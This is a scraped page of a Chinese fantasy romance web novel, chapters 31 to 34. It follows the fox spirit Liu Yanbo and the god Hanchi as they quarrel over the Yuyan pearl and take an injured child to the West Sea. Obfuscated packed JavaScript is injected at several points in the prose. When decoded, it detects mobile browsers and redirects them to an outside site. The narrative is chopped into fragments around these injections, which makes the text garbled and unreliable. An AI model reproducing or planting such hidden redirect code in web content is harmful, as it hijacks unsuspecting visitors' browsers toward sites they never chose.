d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401733|183308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得噤声。 她这才满意的点点头,问:“知道我为什么来找你吗?” 薛公子不敢说话。 “说话。” “一、一定是我冒犯了大仙,所以大仙才来教训小人!都怪小人有眼不识泰山,小人被打的心服口服!” 薛阐早已陷入了绝望,见她百无聊赖的样子,觉得这比发怒更叫人害怕。 “还有呢?” 薛公子一旦大彻大悟,那就是竹筒倒豆子,一边数落一边不忘给自己叫屈: “小人胆子小,从来没有干过极恶之事啊!大仙明察,小人平日里也就爱收几个通房,要了几个良家子,犯浑赌些什物,打伤几个下人,不、不过,那都是因为他们不识好歹要和我作对!小人对待神灵一向是很尊敬的! 只要大仙放了我,我爹什么都会给你!我薛府一定高供大仙牌位,每日香火供品伺候着!” “哦?你的脑子也能吃吗?”这种承诺她已听得太多。 薛阐的脸变得和烟波一样白。 “算了,肯定很难吃。” 烟波跳下桌子,一步步踱到薛阐面前,用手指勾起他的下巴,眼神又邪又冷:“我不关心你干了什么污糟事,你说的一个都不合我心意。” “我只是现在尤其不快活,想着打个蠢货会不会让自己开心些,所以就来了。” 说着嫌恶的甩开薛阐下巴。 “大仙饶命!大仙饶命!是小人不是个东西!”薛阐顾不上疼痛,只顾着涕泗横流的向烟波求情。 烟波神色淡漠,丝毫不为所动,浅色眼瞳里只有深不见底的空洞,她看着面前猪头似的肿脸,发现作弄蠢货也不能让她笑出声。 她从珠玉井出来满心的气与恨无处可消解,积郁在她胸腔里堵得她生疼。 可是她又笑了:“心里不是这么想的吧,你一定骂了我无数次贱人杂种,心想着只要你不死,一定找个老道来收了我。要将我碎尸万段永世不得超生吧?” “小、小人不敢!” “有什么不敢的,我不介意。” “可我还是不开心,看着你的脸就更不开心了。” 烟波手中不知什么时候多出来条鞭子,随意的勾在手指上,粗粝的皮革和娇嫩的纤细手指形成了鲜明的对比。 看到她手上的鞭子,薛阐彻底崩溃了,眼泪鼻涕混作一团的大哭起来。 烟波柔声安慰道:“别怕,这是你家马房的,用完就还。” 又嫌弃的嗅嗅自己的手指,撇嘴抱怨:“这马味儿可真大。” 近乎同时,一鞭子就落在了薛阐身上,名贵的绸缎中衣穿在身上舒适,可实在娇嫩经不起蹂躏,只这一下就已绽开,露出胸口的赤肉。 还未等挨第三下,薛阐便已昏死过去。 烟波收鞭侧头凑近了打量,只是血肉堪堪翻出,怕不是被打晕的,是自己把自己给吓晕了。 “什么嘛。”烟波不满的嘟囔道。 幽室之中忽吹进一股疾风,“嗤”的一声便卷熄了灯火。 屋内顿时陷入黑暗,珠帘叮当作响。 烟波本想关上花窗,那风却来得刁钻,吹得硬是合不上窗棱,她心中生疑,忙从窗前避开,一股气流已飞速旋来,削去了她的一缕头发。 烟波回身看去,只见一块菱花镜深深钉在窗板上,八个花尖儿泛着冰冷锋利的宝光。 31.问心无愧 一只骨节修长分明的手,毫不迟疑的捻起镜钮的两条绡带,唰唰唰朝烟波进攻。 烟波根本来不及看清来者,只顾得上躲闪,几乎是一眨眼的功夫已被压制的捉襟见肘。 那人以镜作为武器出手,操纵几近透明的鲛绡为刃,在黑暗中几乎难以察觉,未近身便能旋出一圈利光,如同收缩自如的闪电,快如鬼魅,所到之处皆被削的粉碎。 近身拆了几招,烟波已倾尽全力,牵扯臂上的伤口,痛得她手上发抖。 而她心中非常明白,此人身手高出她太多,这样的拉扯攻防只是在故意消磨她罢了。 再一次躲开菱花镜后,她大口喘息道:“上神大驾光临,何必遮遮掩掩!” 说着,她挥亮了烛火,照出寒池的一张脸。 那人的深邃眉眼隐在支摘窗的棱棱光影里,面沉如水,不发一言,周身却散发出如剑出鞘的凌人气势,与往日的模样大不相同。 即便烟波早已有了准备,见他这般心中也不由打颤,她知道,他是真的生气了。 可是,他怎么还有脸生气? 烟波跳开他的攻击:“看了有一会儿了吧。” 花镜猛然被来人收回手中,寒池回想起自己赠予波波的附种,只觉得自己一片好心都喂了狗,心中一片冰冷。 甚至就在刚才,他还一心想着为她配备护身兵器,从西海出来顾不得回等闲境,只念着赶紧将东西交予她! 他捏着菱花镜的手隐在袖中微微颤抖,盯着她一字一顿的问: “柳烟波,这就是你想要的?” 飞霁以权势欺她,她转头竟如出一辙下界欺压凡人,倘若他不来,这凡人岂非要被她生生打死! 烟波哈哈大笑:“是啊,我除恶扬善,伸张正义,把这恶霸打成了猪头,上神不觉得大快人心吗?” 寒池瞥了眼昏在角落的薛阐,声音如冰似雪:“好新鲜的说法,我只看到了恃强凌弱,强词夺理。” “那我可不懂了,上神方才也听到了,这恶少抢占民女欺负百姓,我还打不得了?即便我是恃强凌弱,那也是以其人之道,还治其人之身,于情于理错了哪一条?” “你想的不是这些,你只是现在不快活。” 寒池一字一顿,分毫不差的重复了她的话。 他什么时候来的? 红花林结界受袭,自然瞒不过他,可想到他方才在黑暗中的旁观,还是叫她胆寒。 可她再也不需要对他曲意逢迎了。 对面的寒池却摆出一副被她伤到的样子。他的表情同平常一样平静,那双眼睛却从未见过,好像有百般情绪在他眸中翻涌,在昏暗的烛火中明明灭灭,似乎还含着一抹失望和心痛,让烟波读不懂了。 她口不择言的讥讽道: “我本来就是这样,身上流的是野兽的血,既薄情寡义又贪婪肤浅,浑身上下都是你们神仙讨厌的地方! 连天都看不过眼叫我去死了,上神何必摆出第一天认识我的样子,看你现在的模样,还真叫我惶恐要伤透了你心呢。” “我从未这么想过。”寒池凝视着她。 “无所谓了。你是来兴师问罪的,这样倒要我有愧了。”烟波莫名的烦躁起来。 “那你有愧吗?”他只静静问。 屋檐上一缕月光斜斜的倚照下来,将他的面庞照得一半一瞬皎如白雪,一瞬暗如长夜,同烟波第一次看到他一样。 她感到自己的一颗心像被狠狠揪住,忍着满腔酸楚道:“问心无愧。” 眼下的情景实在是荒谬到好笑,她倒变成了那个坏人,烟波忍不住笑出声: “真有意思!当日我问了那么多次,你早告诉我是为了御炎珠,大家该打早打了,何必互相装到现在,不累么?” 听娘说,她出生时就是个人类模样的婴儿,一睁眼便冲着娘笑,一颗珠子从她笑开的嘴里滚出来,这便是御炎珠。 也就是因为这颗珠子,她从小和娘便颠沛流离,可娘说,那是老天给她的护身符,再往后,成了娘留给她的唯一遗物。 待她越长越大,明白了世上有越来越多的人想要这颗珠子,甚至此生遭遇的种种事,全都因这颗珠子而起。 她一遍又一遍的问过他,让她以为眼前这个人,会不一样的。 “什么御炎珠?” 烟波笑意更浓,雪白的脸衬得双目愈发赤红:“别装了!雪斋的井里,我亲眼所见!” 寒池面容平静如水,却不再反驳:“原来如此,找我直说便是,何必作弄凡人?” 他暗自心惊道,御炎珠所在如今在九重天唯他知晓,她是如何得知的? 他设想过数种她得知此事的反应,可面前这只的狐狸满身的戾气已远远超过他设想的任何一种。 “作弄?” 烟波声音陡然扬高,尖声嘲弄道: “不敢当不敢当,论起作弄人,谁敢在上神面前班门弄斧!你将我耍的团团转的时候,心里是怎么想的呢? 是不是觉得我和这个蠢货也没什么分别?看我费尽心机的讨好是不是觉得我像个傻子?耍我耍的舒服吗?足够抚慰你高高在上的虚荣心了吗?” “什么真神仙假神仙,只有我是真小人,您是伪君子,我看真小人也比伪君子强得多!你要我的一颗本心,凭什么? 你们,都是一样的货色!” 她踢了踢脚下的薛阐。 们?还有谁? 寒池本想说些什么,可他看到烟波眼中不管不顾的癫狂,让他想起那只缩在他臂弯的小兽,也是同样脆弱的一击即碎。 此时怕是说什么她也听不进去,而他确实难以分辩。 他沉默良久,才道:“不告诉你确实是我的错,但御炎珠已尽在我手,何需将你唤醒,由得你在这里骂我伪君子?” 他亲口承认了。 烟波的心被狠狠掐紧。眼前这个如玉的清隽谪仙,本该是她一腔恨的归处,可她现在更恨自己,是自己太过天真和软弱,竟还对他心存期翼。 她本就该想起,这才是自己仅剩的利用价值。 烟波冷笑:“都这样了还要演啊,如果我猜的没错,你,现在根本靠近不了御炎珠。” 寒池面露诧异,这狐狸实在是够敏锐。旋即心中一沉,她猜得如此接近,反而更不好分说了。 “知道为什么我知道吗?因为不是只你有这个谋算。”她的瞳孔蓦地缩作一团。 御炎珠伴她而生,在母体中便与她的魂魄血肉相融,因此她的身体成了绝佳温养御炎珠的炉鼎,只要她的体内放置御炎珠,那么这三界之中除了制造御炎珠的主人,谁也无法觉察到御炎珠的所在。 为着这个缘故,她的母亲被剥皮凌迟,她被人欺骗利用,在这人世间徘徊流浪,她既恨自己又恨那人。 可如今,眼前这看似芝兰玉树的上神却宁肯掘地三尺、处心积虑赐她飞升也要这颗珠子,不仅要她的身还要她真心奉上,她恨自己为何不长记性。 寒池观察良久,此时下了结论:“看来,你也靠近不了御炎珠。” 他与这狐狸交手几回,深知她极擅审时度势,绝不做冲动之事。倘若她真能靠近御炎珠,这狐狸定然夺了就跑,才不会冲到他面前对峙是非,也没工夫找凡人撒气。 每个字都被寒池说中,烟波气得发疯。 理智告诉她自己手中的牌太少,即便寒池空有异变的御炎珠,九重天上天材地宝何其多,兴许哪天就能找到破解之法,到时再不需要她这个炉鼎,更没了上桌谈条件的权利。 现在最正确的就是忍耐的同他谈条件,可她实在不甘心被他玩弄于股掌。 他实在是欺人太甚,连利用她都要逼她主动祈求。 眼前的女子眼中明明有水光,却倔强的不肯落下。 寒池看着她眼眶中的泪,心中一愣。 他一向觉着她巧言令色,身段灵活,做戏的眼泪仿佛没有尽头,可今日才知,她真心落泪时,却一滴泪也不肯示人。 他深深吐出一口气,闭了闭眼,才哑声道:“你是怎么发现的。” “闭眼干什么,心虚了?睁开眼看着我!”烟波的声音冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这次一定是真的神仙了吧,薛阐呆呆地张了张嘴,半晌才找回自己的声音:“小人、小人……” 接着哇的放声大哭起来:“求大仙救我!有妖怪!有妖怪要杀我!” 话音未落,就见他口中的女妖怪,正凶神恶煞的站在仙人身边,薛阐瞠目结舌,张了张嘴却说不出话了,只觉我命休矣。 仙人神色淡然,抬手略一拂袖,薛阐浑身顿感一阵清凉,定睛再看,脸上身上的伤痕已愈合,在皮肤上未留下一丝痕迹。 “多谢大仙,多谢大仙!”薛阐连忙向半空的男子咚咚咚磕头道谢。 男子又一拂袖,薛阐登时昏倒在地。 他今夜的奇遇,也随之变作了一个梦。 寒池的目光仍停在薛阐身上,口中却道:“不是笙笙,笙笙只是她的化身。” “那是谁?”烟波被他那一瞬间奇怪的神情搞糊涂了,更听不进其他的话。 “不是笙笙又是谁?云中那小子?还是那个臭老道?你和笙笙到底是什么关系!” 她脱口一问出,心中已有了定论,寒池的表情骗不了人,他定然认识笙笙! 只是,那神色不似恶意,反倒像是对笙笙存了极大的善意...... 寒池道:“你的问题太多,在此地说不清楚,该你回答我了。” 烟波主意已定,她秀眉高高扬起,偏过头去:“我不是有问必答,要打要杀,随便你。” 寒池轻蹙眉头,方才明明听到她言语间已经软化,为何又突然抗拒起来。 他微微摇头:“我不明白,你怕笙笙遭遇不测,为何不去寻她,只拿凡人泄愤?明明满腹怒火,却甘心束手就擒,不肯与我搏上一搏?” 烟波脸上飞快闪过一丝对自己的嘲讽:“弱肉强食,天经地义,不在乎谁有道理。我没想过你能放过笙笙,也没想过我能以小博大,但总要痛痛快快问个清楚,死的明白。” 寒池看着她良久,缓声道: “何谓弱,何谓强?” 不等她回答,复又道:“就这样笃定,我会杀了她、杀了你?” 烟波冷冷嗤道:“都到了这个时候还要试探,不嫌烦么。” 寒池不再多语,声音像渐渐熄灭冷却了一般: “如你所愿。” 他手中白光闪过,变作玉色夷骨剑,步步逼近。 烟波站在原地不动,等待剑身穿破她的喉管。 32.破界 二人刚一落地,花林已不似往日夕阳时的的残红,红的愈发妖艳,老远便能看到一缕红气蒸蔚。 幸好等闲境外还有五层结界,煞气不至于飘到境外。 他睇了她一眼,转头询问大吕:“从何时变成这样的?” 大吕也答不上来,正欲凑近了上去查看,却被寒池伸手拦了下来,他拿出腰间短笛吹响,唤回余下八鹤。 寒池升至半空盘腿坐下,九鹤为天生的金鹤灵胎身,作为寒池的护法围绕他撒出一圆环,将红花林笼罩其中。 烟波仰头望去,发现若按十二律数起,仙鹤的名字与所处方位正好相对,而十二律缺失的南吕、无射、应钟三音方位由寒池补上。 十人的方位轮转,形成的圈子绕着红花林越转越快,越收越紧,流泻下的银光尽数倾在花林结界之上。 过了一炷香的功夫,花林的殷红之色渐渐褪去,寒池从中走来,烟波定睛一看,他手上竟还抱了个五六岁模样的孩子。 她放下的心又提了起来。 小仙童惨白着脸躺在地上,双眼紧闭。 寒池将他的衣服解开,只见细嫩的身体上被交错划出数道血痕,看起来颇为吓人,伤口还泛着冷光。同样是为结界所伤,烟波不禁摸摸自己手臂上如出一辙的伤痕。 寒池面沉如水,红花林的结界上竟有两道攻击的痕迹,一道深,一道浅,深痕是露出煞气的原因,浅痕对结界无甚影响,只在表面留下几道割印。 这孩子身上有解行上仙祖传的神器破阵盘,只有昆吾氏血脉才得以开启催动,听闻解行上仙有一子阿饶,与这孩子年纪相仿,十有八九便是他了。 而那深痕,应该就是破阵盘所致。 他已大概能拼凑出这孩子受伤的经过,恐想来他拿着破阵盘破开等闲境结界,并还想打开红花林的结界,引得结界反弹,漏出几缕煞气致使他晕倒。 而那道浅痕...... 他的目光落在柳烟波身上,她的每个术法都受他教导,他如何会辨认不出。 寒池的胸中燃起一团火焰,周身气息比方才在凡间还冷上十倍不止。 御炎珠的事她再怎么发火都是情理之中,可她决不该因此枉顾众生破开结界放出煞气,以此来报复他。 为泄愤凌虐凡人,为私仇毁坏结界...... 柳烟波决不能留在九重天了。 波波取了一坛香雪酒来,将酒水淋在孩子的伤口之上,寒池运以灵力清洗干净,可孩子依然没有要醒的意思。 他心情更加凝重,将手指抵在小童额头,潜心以自己内息暂时护住其全身仙脉。 果然有煞气已进入他体内,如若不及时净化处理,这孩子只有成为堕仙和承受不了煞气而亡两条路可选。 烟波一直在默默观察寒池神情,见他脸色愈发不对,主动开口道:“我闯下的祸,我来承担。” “你拿什么承担?”寒池冷冷道。 “他因我而伤,将我绑去他家领罚便是。” 寒池怔忪:“因你而伤?” 他成心明知故问。 烟波咬了咬嘴唇:“我将红花林结界割出裂痕,触动了你布下的机窍,从中飞出乱刃,这童子应该是那时误闯了进来,因此才被刺伤。” 一阵风自地底窜起,掀起烟波袖底,露出她左臂一道长长的血痕。 怪不得方才他便闻到一股血味儿。 确认她所言非虚,寒池眼底的幽暗散去两分: “为何要破坏禁地结界?你明知其中是未净化完毕的古战场息壤,一但放出,将妖邪四溢,三界难安!” 烟波理好衣袖,坦然道:“我听到御炎珠就藏在红花林中,就不能不去。放出息壤虽非我意,但做了就是做了,没什么可说的。只是......” 她眼中又露出刺眼的讥笑之意:“倘若你少个心眼,别故意向外放出珠子藏在这儿的假消息,也不会变成这样。倘若你肯早告诉我御炎珠的下落,也不会变成这样。 “这个假消息,早晚会害得红花林结界被攻破的。寒池,机关算尽太聪明,你也难辞其咎。” “看来,是有人找上你了。” 等闲境中的风突然静止,树上的枝叶无风吹过,也立时噤了声。 知道御炎珠,又认定它藏在红花林息壤中的,除了白玄,别无二人。 寒池心道,白玄手段进步不少。不知用了什么法子,囚在死海也能驱使人帮他传话,找柳烟波这个“寒池真爱”替他偷珠,还真叫他歪打正着,寻到了正主。 倘若柳烟波偷到了,那是再好不过,到时打开结界放出息壤煞气,寒池也逃不了被治罪;如果不能,她偷去红花林多半也要毁了性命,惹得寒池与她起了龌龊,怎么也不会叫寒池好过。 而白玄,只需袖手旁观即可。 当日白玄在汜天山上,对御炎珠的种种揣测指责犹在耳畔,他寒池何尝不是冷眼旁观白玄自说自话,甚至默许纵容他往错误的方向猜测,以致白玄深信不疑,诱导了她。 也是他自负一己之判断,迟迟不愿将御炎珠的来龙去脉告知柳烟波,才酿成今日之果。 种种万般,因果不空,他抵赖不得。 小童此时愈发虚弱,事发紧急,寒池轻叹一声,只留下一句:“我从未放出过假消息。” 随后交代黄钟携破阵盘去解行上仙府中说明,便匆匆抱孩子上了云头。 烟波见寒池这就将她留下,一咬牙也跟在他身后飞出了等闲境。 这是烟波第一次下西海,只见粼粼水波将天光折射在地面,照的水里通明剔透,鱼虾盘旋游曳,还有诸多不知名的艳丽珊瑚石礁置于此上。 二人一路无言的行了一段,烟波实在是看不下去寒池抱孩子的姿势,伸出了手:“把他给我吧,被你像石头一样的抱着,小命会送的更快。” 寒池道:“此事与你无关,回去吧。” 烟波没理他,从寒池怀中将阿饶抱了过去,给他换了个姿势,一手护住他的后背,一手托着他的腿,将孩子小小的脑袋靠在她的肩头,还十分熟练的将他往上颠了颠,倒是很有一番样子。 寒池没想到她这么会照顾孩子,却不曾再开口,沉默着一心往前,不由得越游越快。 烟波本也不想同他一道,但她不认识路,只得紧赶慢赶的抱着孩子跟在寒池身后。 奔了一阵,只听有个声音气喘吁吁的在后面叫喊。 烟波寒池寻声望去,找了好一阵子才发现声音来自脚下。 只见一身材矮小,面容苍老的鳖精站在石头上朝他们连连作揖:“这位夫人跑得忒快,可叫老鳖好追!” 烟波与寒池对视一眼,没好气道:“谁是他夫人了!” 老鳖见二人抱着孩子面若冰霜,俨然刚吵完架的样子,更加笃定他们必是一对夫妻。 他赔笑道:“消消气,二位是来找万年净水的吗?” 听到此言,寒池终于放缓了脚步。 烟波见寒池脸色有异,住口不言。 见这家丈夫有意,老鳖精忙从袖中摸出一只小瓶,打开盖子。 瓶中仅有一滴水珠,散发着晶莹剔透的寒光,绝非凡物。寒池心中一动,是万年净水无疑。 他不动声色的问:“听说这净水唯西海独有,隐于龙族世代镇守的深渊之中,十分罕见,您从何得来?” 老鳖捻着胡子笑呵呵道:“我有供,你有求,这就足够了,老头子有自己的办法。你们能寻来此处,消息也是灵通。” 烟波没想到寒池露出犹豫来,竟像真动了心思,不知他葫芦里卖的什么药:“我明白做生意的规矩,可修行之人最怕行差就错,不得不谨慎多问。” 鳖精道:“求医问药是要谨慎,我看郎君有副好眼力,应当知道令郎身体孱弱,以后若想在修仙有成,只能靠天材地宝将养好了身子。看来你们并不是专程来寻我,却恰巧碰上了我,这就是令郎与净水的机缘了。” 寒池点点头:“你说的不错。” “既然如此,便跟我来吧。” 老鳖混沌的小眼笑成了一条缝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16442029|183308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “您的良言我会转告孩子父亲的。” 老鳖精:“?” 烟波:“?” 他到底在干嘛。 “告辞。” 说罢,寒池从烟波手里抱过了阿饶,径自向前游去。 老神官一时反应不过来,还干瞪眼愣在原地。烟波亦搞不清他在发哪门子神经,只得骂骂咧咧的发力追上他。 二人在幽海里行了许久,终于豁然开朗。 绿筝手搭凉棚做泥塑状已经很久了,虽然他不明白到底要迎什么客人。他侍候他家三太子玩异兽玩的好好的,就被敲了头赶出来站殿门口接客。 当他看到寒池远远立在宫外的身影,不由得再在心中感慨一遍,他家太子真是英明神武神机妙算。 连忙扬笑脸迎上去:“上神远道而来,下官有失远迎,我家三太子说早知您要来,必定提前备好飞鱼车,怎能让您就这么来了呢!” 他看到寒池身后站了一个美貌神女,迟疑道:“这位是……” “不是孩子的娘。” 他抛下这句话,已先行一步,叫烟波来不及发作。 跟着绿筝越往宫内走,眼前越是金灿夺目,目光可即之处,皆为七彩珊瑚珍珠装饰而成的高大楼阁,流光飞转,将前路照的宛如陆上白昼。 好不容易进了夔元的内殿,夔元见烟波抱着孩子,刚想调笑两句,便被孩子的面色吓了一跳,神色一正,快步下榻迎上来探探阿饶的气息,若有所思的摸摸下巴:“这娃谁家的,不太妙啊。” “解行上仙的孩子,叫阿饶。” “解行……”夔元苦思冥想许久,终于从混沌的脑子里揪出个大概印象:“就是那个冷冰冰的木头脸啊!” “如果不把他家儿子救醒,你我都要被他冻成木头脸。” “听听,这是求人的态度吗?”夔元痛心疾首。 寒池小心的将孩子放在榻上: “他误入我林中破了结界,自己也被外泄的邪煞所伤,我虽净化了一次,但终究气息入体,只得借你的万年净水彻底清洗,才可安心。” 烟波心生触动,他为何要替自己瞒下? “你是说……你的封印结界破了?这古战场的废土非同小可,若你都管不住那战土煞气,岂止九重天遭殃,连我四海和人间也要受害。”夔元脸色大变。 寒池淡淡道:“已经没事了,只是跑了丝邪气出来,附在小孩子身上吸他精血,幸好它被花林净化多年,邪性已今非昔比。” 夔元心有余悸的点点头:“是啊,不然这娃娃哪有命在。” 烟波悬着的心终于放下。 夔元接过阿饶去用了净水,彻底拔除了阿饶身上的邪秽,只是他还昏昏沉沉的睁不开眼。见已无大碍,寒池便起身告辞。 一切处理完毕,夔元终于有心接着开方才没开完的玩笑。 他冲烟波抛了个媚眼:“怎么样,那菱花镜用的还顺手吧?上神要我给你做个适合你的称手法器,我都做烦了什么剑啊刀啊,多没劲!专门给你做了个镜子,我敢保证,这武器绝对是九重天头一份!” “我家的姐妹说这个有趣,才给我画了这样式,你们女儿家爱俏,平日拿在手上照着玩也够好看。” 夔元被寒池交待了这任务后不敢怠慢,下了好一番苦功才做好这菱花镜,现下见两位正主来了,那真是不卖弄都说不过去。 他挑的时机太好,这头夔元在自顾自吹着,丝毫没注意那头二人脸色冷的要结出冰来。 无人并不答话 ,反而又给夔元说话的机会,他呼的拍上寒池肩头邀功,眉飞色舞道: “还是小神女的面子大,我怎么请你都请不动,头一回不请自到就是为了神女!还在我耳边千叮咛万嘱咐她身弱,怕被人欺负了去,一定要我做件可以自保的东西,瞧瞧这心疼的!” “正巧这次你二人都来了,就在我家多住几日再走如何?” 寒池只听得脸上又青又红,在两种脸色间来回变换,不知道该先抽自己一耳光还是先赏夔元一耳光来个痛快。 33.鲸腹 才和烟波刀剑相向,就被夔元揭了他为她求取武器一事,夔元把过程形容的越艰难,寒池此刻就越发羞耻,他出声打断夔元:“听说万年净水是你家独有?” “当然!这万年净水结于深入海底的玄冰寒铁之下,寻常人根本不知道这东西,尤其这海底异常寒冷,非我等阳气旺盛的龙族难以进入。” “只怕被人蛀了老巢,三太子犹在怡然自乐。方才有个身形矮小的年迈鳖族神官向我们兜售这万年净水,倒是新鲜。” 夔元哈哈大笑:“我看是卖的假货吧。” “是么。”寒池笑笑,抱起阿饶。 “他说有许多人来西海求取净水,我验了货,不似假的。”撂下这句话,寒池飘然而去。 “哎你这就要走啊!”夔元追了出去,跟在寒池后面蹦跶,蹦着蹦着回过味儿来: “不对啊,这东西知道的人真不多,怎么会有许多人跑来寻药,而且我也没见着啊?”这才急着缠寒池带他去寻鳖君。 “我要带他回去,还是不多留了。这里是你家的领土,殿下可自行寻找。” “话不是这么说的,哎你等等我!” 夔元见寒池不想久留,便拉来旁边的烟波给他压阵:“你看神女今天话这么少,一定是被你气的,好不容易带人家来趟西海也不逛逛,我们西海的景致比等闲境也不差啊!” 烟波本来在一边默默走着,见热情过头的龙三太子要拿她做旗子,淡淡道:“不叨扰殿下了,回去确实有事要办。” “什么事这么要紧啊?”夔元傻傻的问。 “算账。” “天上有什么帐好算?”夔元奇怪道:“你要是想要珠宝首饰之类的,尽管跟哥哥说! 我们家别的没有就这东西多,要不是寒池,我是真想让你多留几日,让我们家那几个臭丫头好好看看什么叫文静。” 这三太子真是话又多又密还自来熟,烟波只好催眠自己当没听见。 显然不是谁都能忍,只听前面有个声音平静道:“我没意见。” 烟波顿时怒火中烧,他没什么意见!立刻从牙缝里掐出回敬:“呦,我是你什么人啊,你没意见就行吗?我看有些人是做贼心虚吧。” “没有关系,所以没有意见。” “你没意见,我就偏要有意见。” “悉听尊便,你就留在这罢。” “这么急着摆脱我啊,别啊,狡辩还没听完,我怎么能不去呢?” 夔元见二人目不斜视面无表情,连嘴巴都不曾张开,只阴嗖嗖的从牙缝里挤话,觉得周身温度都低了几度。 这小神女的性子似乎和他想的不大一样,他小心翼翼的试探道:“你们......吵架了啊?” “很难看出来吗?”寒池冷哼。 烟波深为这位龙三太子的迟钝绝倒,两人不都想理他。 谁想夔元得知他们冷战却来了劲头,自觉身负重任,精神百倍的在他二人间上蹿下跳,势要他们和好才行。 寒池终于被吵得忍无可忍,丢下一句:“你自己找去罢!”一挥袖将夔元移到五里之外。 烟波感觉耳根瞬间清净,此时此刻她确实宁愿和寒池呆在一处,从这点来说,不得不说夔元也算成功。 从西海王宫到浅层要经过一段幽暗的深海,路上既无标识,又无异象,只有黑暗又不见光明的海水,水草纠缠不清,时不时的便将两旁的石子杂物卷进来。 烟波努力的想看清他们所在的方位,无奈光线实在太微弱,什么都是混沌一片,仿佛整片海子都沉入了暗夜。 她突然意识到,这与他们来时的路已经大有不同。 烟波越走心中越不踏实,想着自己还与他有很多事没完,不能只顾着置气,出声唤他:“寒池?” 她听到自己的声音像被蒙在罩子里一般,似远似近,更觉不妙。 幽暗阴绿的水波静谧的流过周身,甚至连方向都难以分辨了,只得提着裙角在黑暗中茫茫然摸索乱走。 “寒池?你在哪?”现在不能走散,总要先找到寒池才行,烟波只能一声又一声的叫着他的名字。 她张了张嘴,惊悚的发现自己的声音越来越小,烟波这才反应过来,不是自己的声音变小,而是她难以听到自己的声音,连手中阿饶的重量也轻的几近感受不到,甚至开始怀疑,自己手中真的抱着一个孩子吗? 听不清,看不到,摸不到,现在的她仿佛只有魂魄在空洞的黑中游走,这份巨不可摧的恐惧足以将心神堕于其中,烟波只能靠抱紧阿饶,通过残存的触觉确定自己还存在。 “在你后面。”寒池的声音突然出现,仿佛黑暗中破出了一道光芒。 烟波连忙转身,却没想到一脑门正撞上寒池的下巴。两块骨头相撞,寒池痛的“嘶”了一声,发出黑暗中第二句声响。 烟波更是被撞的眼冒金星,正要开口说话,额头却被一只手掌抵住。 刚要伸手打掉,就听到头顶有人说:“此路不通。” 她这才意识到要不是这一掌之隔,自己的额头此时又要撞上寒池的下巴。一抬头,碎发都被寒池湿热的气息吹拂到酥痒。 奇怪,她竟然又有触觉了,烟波连忙蹦到一边,却被寒池拉住了袖子:“现在别离我太远。” “知道在这里装神弄鬼,刚才怎么不出声?”烟波没好气道。 “我若也出声,怎么听你的位置。” 一道光突然驱散了四周的黑暗,寒池食指升起一团银色荧火,伴着光亮出现在烟波身侧。 他手中的光芒聚拢,一扬袖袍将荧火挥散做点点星芒,萦绕在寒池与烟波周身。星芒莹白,恍惚间仿佛回到了等闲境。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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烟波问:“你困在这里很久了吗?没想过要出去?” 阿水摇头。 “这里崎岖多险阻,鲸身本就是遮天蔽日,又被黑雾蒙了五感没有指引,在外围只能原地打转。” 她见寒池和烟波担忧的神情,补充道:“不过我家小姐的住处离此不远,你们抱着个孩子行动不便,二位不如先随我前去歇脚。” “你家小姐?” “是的,我是小姐的侍女。二位随我来。” 见阿水提灯走在前面,烟波故意放慢脚步,一把拽住寒池,落后几步与阿水拉开距离,这才轻飘飘的送出几个字: “想来场艳遇吗?” 34.艳遇 “如果你想来场艳遇,这孩子呢就是你外甥,归我抱着,如果你不想艳遇呢,这孩子就是你儿子,你自己抱着。” 寒池用看疯子的眼神看她:“你就这么不想抱他?” 烟波负手在身后,老神在在道:“这不是排喧,十有八九是撞上我的老同行了。” 寒池:“狐狸精?” “你当真是上神?”烟波奇道:“我当你们这些神仙降妖伏魔惯了,应该对妖怪的伎俩熟得很,怎么,没见过妖精引诱猎物?” 寒池上下打量一番烟波,痛快的点头承认:“之前接触的少,近期倒是切身领教了一个。” 烟波被狠狠噎住,顿了顿才道:“谁说只有狐狸精会这招!这就是普天下妖怪的吃饭家伙。” “父母亲族一概没有,哪家小姐会住在这么伸手不见五指的破地方?两个肩不能挑手不能提的弱质女流在这吃什么喝什么,早死八辈子了。” “辟谷的修士可以在此生存。” 烟波嗤笑一声:“是啊,来这吸瘴气修炼,好大的志向!” “或许只是西海成精的善良水族,在这里做洞府。” “你非要和我抬杠是吧?” “你为妖时不是如此么。” 烟波斜了寒池一眼,抬手道:“硬的不行来软的?打住啊,我不吃这套。” “你在凡间也行采阳补阴之法,但未曾伤人性命。” 她不以为然的转过头去:“我柳烟波从不穿旧衣,男人,当然还是新鲜的好,这和善良有什么关系?你可休要冤枉我。” 寒池这路上与烟波你来我往一番,本来邪火已经撒了不少,可现下又被她语出惊人的一轰炸,终于眼中又滚起火焰,重新开始憋气。 烟波满意的看着寒池这副吃瘪模样,觉得身心十分舒畅,嘲讽道:“这就被吓到了?” “在场还有个孩子,你能顾忌一下说话的分寸吗?” 